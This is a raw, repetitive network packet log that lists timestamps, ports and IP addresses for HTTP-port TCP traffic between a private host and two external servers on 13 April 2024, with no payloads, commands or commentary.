Apr 13, 2024 20:21:07.239526987 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239541054 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239559889 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239568949 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239572048 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239588976 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239615917 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239615917 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239615917 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239633083 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239650965 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239660978 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239679098 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239680052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239697933 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239700079 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239717007 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239718914 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239734888 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239734888 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239754915 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239772081 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239773035 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239795923 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239797115 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239797115 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239815950 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239815950 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239835024 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239837885 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239852905 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239861965 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239871979 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239887953 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239888906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239905119 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239908934 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239922047 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239927053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239938974 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239947081 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239959002 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239972115 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239972115 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239978075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.239989996 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.239996910 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240014076 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240015030 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240035057 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240040064 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240041018 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240055084 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240058899 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240077972 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240082026 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240094900 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240102053 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240120888 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240132093 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240140915 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240154028 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240159035 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240179062 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240181923 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240181923 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240196943 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240206003 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240230083 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240243912 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240243912 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240252972 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240268946 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240272045 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240291119 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240309000 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240313053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240313053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240329027 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240331888 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240348101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240348101 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240366936 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240377903 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240391016 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240401983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240411997 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240418911 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240431070 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240436077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240448952 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240453959 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240467072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240474939 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240485907 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240494967 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240503073 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240514040 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240524054 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240534067 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240545034 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240554094 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240562916 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240572929 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240581989 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240600109 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240612984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240612984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240612984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240617990 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240637064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240639925 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240653992 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240657091 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240674973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240677118 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240693092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240699053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240711927 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240715027 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240732908 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240734100 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240751028 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240756035 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240768909 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240778923 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240787983 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240798950 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240807056 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240823030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240823030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240828037 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240852118 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240858078 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240869999 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240884066 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240889072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240907907 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240910053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240910053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240925074 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240943909 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240947962 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240947962 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240962029 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240966082 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240982056 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.240988970 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.240999937 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241010904 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241019011 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241035938 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241035938 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241039991 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241058111 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241070986 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241084099 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241090059 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241101027 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241110086 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241120100 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241136074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241136074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241138935 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241154909 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241158009 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241175890 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241179943 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241199017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241209030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241216898 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241229057 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241235971 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241247892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241255999 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241264105 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241277933 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241281986 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241297007 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241301060 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241316080 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241331100 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241336107 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241348028 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241355896 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241364002 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241375923 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241380930 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241395950 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241400003 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241413116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241430998 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241446018 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241446018 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241446018 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241447926 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241467953 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241468906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241486073 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241486073 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241504908 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241508961 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241528988 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241538048 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241547108 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241554976 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241566896 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241575956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241589069 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241595984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241606951 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241620064 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241621017 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241626978 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241645098 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241657972 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241662025 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241683006 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241684914 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241704941 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241709948 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241709948 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241724014 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241728067 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241743088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241749048 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241761923 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241765976 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241782904 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.241785049 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241808891 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.241827965 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.307306051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307363033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307398081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307404995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307430983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307446003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307461023 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307486057 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307519913 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307522058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307558060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307564974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307585001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307594061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307604074 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307631969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307662964 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307667971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307682991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307709932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307725906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307748079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307763100 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307785034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307800055 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307823896 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307851076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307858944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307864904 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307895899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307925940 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307933092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.307946920 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.307971954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308000088 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308011055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308027983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308048010 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308068037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308084965 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308118105 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308120966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308137894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308157921 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308175087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308196068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308212042 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308250904 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308255911 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308291912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308311939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308327913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308341026 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308366060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308378935 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308403969 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308418989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308440924 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308454990 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308480024 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308492899 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308516979 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308532000 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308554888 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308568954 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308593035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308607101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308631897 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308645010 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308670044 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308682919 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308706999 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308722973 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308744907 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308763981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308782101 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308796883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308820963 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:07.308835983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.308875084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:07.590015888 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.590049982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.590147972 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.590167046 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.590187073 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.590207100 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.590209961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.590209961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.590209961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.590239048 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.590257883 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.590279102 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.590296030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.590296030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.590296030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.590298891 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.590320110 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.590325117 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.590337992 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:07.590344906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:07.590369940 CEST	49738	80	192.168.2.4	193.233.132.56
